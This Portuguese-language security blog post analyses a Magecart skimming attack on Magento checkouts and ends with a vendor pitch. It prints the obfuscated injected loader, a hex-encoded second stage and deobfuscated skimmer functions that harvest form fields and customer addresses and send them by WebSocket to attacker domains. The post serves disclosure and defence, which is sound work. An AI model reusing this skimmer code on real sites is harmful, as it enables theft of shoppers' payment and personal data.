Skip to main content
Blog
Blog Attacks

Novo código de ataque Magecart revelado

No dia 14 de outubro, publicamos um artigo sobre como mais um ataque Magecart ao Magento estava acontecendo. Na época, identificamos apenas um script como responsável. Hoje, conseguimos encontrar e analisar o ataque com mais detalhes. O ataque decodificado Este foi o código injetado: <script> const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23]; const zep = 42; window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.h

Oct 23, 2024 4 min read
new-magecart-attack-image-cover

No dia 14 de outubro, publicamos um artigo sobre como mais um ataque Magecart ao Magento estava acontecendo. Na época, identificamos apenas um script como responsável.

Hoje, conseguimos encontrar e analisar o ataque com mais detalhes.

O ataque decodificado

Este foi o código injetado:

<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>

Ao decodificar esse script ofuscado, descobrimos que ele estabelece uma conexão WebSocket com a seguinte URL: wss://gstatlc[.]org/jivo?source=.

Em seguida, suspeitamos que o ataque tinha como objetivo o web skimming, ou seja, o roubo de dados de clientes como informações de cartão de crédito.

Agora encontramos o seguinte script:

! function() {
    function e(e) {
        let t = "";
        for (let n = 0; n < e.length; n += 2) {
            let o = e.slice(n, n + 2),
                c = parseInt(o, 16);
            t += String.fromCharCode(c)
        }
        return t
    }
    if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
        const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
            n = "x-magento-65dsf";
        t.onmessage = function(t) {
            ! function(t) {
                if (!document.querySelector("#" + n)) {
                    const o = document.createElement("script");
                    o.id = n, o.text = e(t), document.head.appendChild(o)
                }
            }(t.data)
        }
    }
}();

Isso leva a um código ofuscado, que nossa plataforma cside desofusca automaticamente. Encontramos diversas funções destinadas a capturar dados.

// Função para decodificar os seletores
    function decodeSelectors() {
        let decoded = hexDecode(encodedSelectors);
        let selectorArray = decoded.split('|');
        return selectorArray;
    }
 // Função para verificar se elementos específicos estão presentes na página
    const checkElementsPresence = () => {
        let selectors = decodeSelectors();
        return selectors.every(selectorEntry => {
            let [selector, count] = selectorEntry.split(':');
            let elements = document.querySelectorAll(selector);
            return elements.length >= Number(count);
        });
    };
  // Função para gerar um identificador único
    const generateUUID = () => {
        return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
            (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
        );
    };
// Função para codificar dados em hexadecimal
    function hexEncode(str) {
        return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
    }
 // Função para coletar dados do formulário
    const collectFormData = (context) => {
        let data = {};
        let counts = {};
        let inputs = context.querySelectorAll('input, select, textarea');

        for (let i = 0; i < inputs.length; ++i) {
            let element = inputs[i];
            let name = element.name || element.id;
            let value = element.value;

            if (value !== '' && name) {
                if (!counts[name]) counts[name] = 0;

                if (element.tagName !== 'SELECT') {
                    counts[name] === 0
                        ? data[name] = value
                        : data[`${name}#${counts[name]}`] = value;
                } else {
                    let selectedOption = element.options[element.selectedIndex].text;
                    counts[name] === 0
                        ? data[name] = selectedOption
                        : data[`${name}#${counts[name]}`] = selectedOption;
                }

                counts[name]++;
            }
        }

        data['url'] = window.location.hostname;
        data['ua'] = window.navigator.userAgent;
        data['ts'] = Date.now();
 // Tentativa de coletar dados de endereço do cliente, se disponíveis
        if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
            try {
                let addresses = window.checkoutConfig.customerData.addresses;
                data['address_data'] = addresses[Object.keys(addresses)[0]];
            } catch (e) { /* Ignorar erros */ }
        }

        return hexEncode(JSON.stringify(data));
    };
  // Intervalo para verificar e enviar dados repetidamente
    let intervalId = setInterval(() => {
        if (checkElementsPresence()) {
            let formData = collectFormData(document.body);
            const uuid = generateUUID();
            const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
            const ws = new WebSocket(webSocketURL);

            ws.addEventListener('open', function () {
                ws.send(formData);
                ws.close(1000, 'done');
                clearInterval(intervalId);
            });
        }
    }, 1000);
})();

Havia ainda outro domínio malicioso: wss://adsprove[.]online/ws.

Todas essas funções comprovam que o script está de fato mirando em diversas entradas de visitantes desavisados. Isso também reforça que monitorar e bloquear essas tentativas no lado do cliente é essencial para identificar e interromper esses ataques.

Como proteger seu site

A cside foi criada para combater esses ataques. Qualquer script de terceiros presente no seu site que esteja comprometido pode ser detectado e bloqueado antes de ser executado no navegador dos seus visitantes — protegendo tanto eles quanto você de agentes maliciosos.

Ao usar nosso plano gratuito, você estará protegido contra este e outros ataques semelhantes.

Himanshu Anand
Software Engineer Himanshu Anand

I'm a software engineer and security analyst.

Monitore e Proteja Seus Scripts de Terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis, ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração